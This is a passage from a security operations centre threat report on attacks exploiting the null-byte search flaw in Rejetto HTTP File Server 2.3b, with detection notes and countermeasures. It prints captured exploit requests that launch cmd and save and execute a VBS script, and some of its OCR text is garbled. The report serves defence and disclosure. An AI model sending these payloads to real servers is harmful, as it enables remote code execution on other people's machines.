that does not allow for the proper processing of null byte characters in regular expressions, if
a search character string entered externally contains a null byte character followed by a
command, the command will be executed.

The following versions are affected by this vulnerability:*

- HTTP File Server 2.3b or earlier

4.2.2 Examples of attacks targeting the vulnerability

After mid-September, when the malicious code was disclosed, JSOC detected attempts to
execute code exploiting the HFS vulnerability, and there ware severe incidents that showed
an affected response from a targeted host. If HFS is running according to initial configuration,
the HTTP response will contain HFS version information (Figure 29). As a result, the
attacker was able to discover hosts that were vulnerable to attack.

HTTP/1.1 200 OK
Content-Type: text/html|
Content-Length: 1707
A epT-Ranges: D
[Server: HFES 2. 3b
Set-Cookie: HF5_SID=0.113417447078973; path=/;

Cache-Control: no-cache, no-store, must-revalidate, max-age=-1
Content-Encoding: gzip

Figure 29 HFS information in HTTP response

Figure 30 shows JSOC-detected malicious traffic that exploited the vulnerability.

Figure 30 shows an attack that started a command prompt at a host using vulnerable HFS.
The attacker may investigate the existence of a host running vulnerable HFS by using such
an attack.

Stream Content

HEAD /?search==%00%7B.execk/Ccmd.%7D HTTP,/1.1
HoST:

Figure 30 Attack that attempts to execute a command prompt locally

10 Vulnerability Note VU#251276 - Rejetto HTTP File Server (HFS) search feature fails to handle null bytes
http://www.kb.cert.org/vuls/id/251276
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Figure 31 shows a communication log that can be viewed on the HFS management
window on an attacked host.

Since the HFS communication log does not contain any text following the null character,
regardless of whether the vulnerability exists, it is impossible to use the communication log
to determine what attack has occurred.

{2 HFS ~ HTTP File Server 2.3b Build 290 =n Bl ==

& Menu | 7 Port:80 |ﬁ_{\"ouareinEasymode | 1 Update now

@ Open in browser  http://192.168.1.8/ "] Copy to clipboard
42KBs - =

Virtual File System Leg

D/ 5:48:03 PM 192.168.1.11:49835 Requested HEAD /?search==

Wl IP address | File Status Speed  Time.. Pr.
192.168.1.11:49895 - idlel

Out: 0.0 KBfs  In: 0.0 KB/s

Figure 31 Log information that can be viewed on the HFS management window

Figure 32 shows malicious traffic that exploited the code execution vulnerability.

The attack involves an attempt to execute a script so that a message box pops up in the
targeted host. If such traffic, as shown in Figure 32 occurs, any text following the null
character will not be included in the communication log and such information, as shown in
Figure 31, will be output to the log. It is impossible to use the communication log to
determine in detail what attack has occurred.

Such traffic is just an example of an attack scenario. A script used for attacking can
contain any information, and an attacker can exploit this vulnerability to use a target host to
set up a backdoor or execute malware, for example.
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Stream Content

HEAD /?search==%00{.save|test¥%2evbs |MsgBox(%22jsoctest®22).} HTTP/1.1
Host :192.168.1.8

a. Attempt to install a script

Stream Content

HEAD /7search==%001.exec|testklevbs. | HTTF,/1.1
Host :192.168.1.8

b. Attempt to execute the installed script

Figure 32 Traffic that attempts to execute code externally

4.2.3 Countermeasures against attacks targeting the vulnerability

To fix this vulnerability, keep your HFS up-to-date.

This server software is an application program used for file sharing, and if an access
control setting is not set correctly, information leakage may occur. Ensure that access
control is fully performed in order by checking that the server software is not unintentionally
open to the public, that communication with an unauthorized IP address or user is not
allowed, and so on.
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5 Conclusion

Much like what the word "INSIGHT" itself implies, JSOC INSIGHT focuses on providing
information on threats that our JSOC security analysts come across from time to time and
believe to be worth noting.

Our security analysts are hard at work, carefully listening to customers in order to offer the
most up-to-date information available. In our effort to provide vital information, JSOC does
not merely focus on the popular incidents that are discovered here and there, but also
strives to draw attention to significant threats that can affect our now and tomorrow.

JSOC's hope is to provide our customers with the safety and security they need to
conduct their business activities.
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